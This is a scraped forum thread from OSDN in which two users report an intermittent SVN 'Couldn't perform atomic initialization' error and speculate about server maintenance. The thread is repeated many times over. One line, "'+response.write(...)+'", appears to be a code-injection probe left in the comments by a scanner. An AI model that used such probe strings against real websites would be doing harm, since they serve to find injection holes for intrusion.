Error "Couldn't perform atomic initialization"
derekwildstar derekwildstar 
quiret I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
quiret)
derekwildstar derekwildstar Aparently the problem was solved!
quiret The problem is happening, again.
quiret It disappeared again??? Well I did send an E-Mail to admin@osdn.net
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar derekwildstar Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation
My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
quiret)
derekwildstar derekwildstar Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
quiret)
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market).
About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1IHIGST3SS50
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
'+response.write(9677202*9100105)+'
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
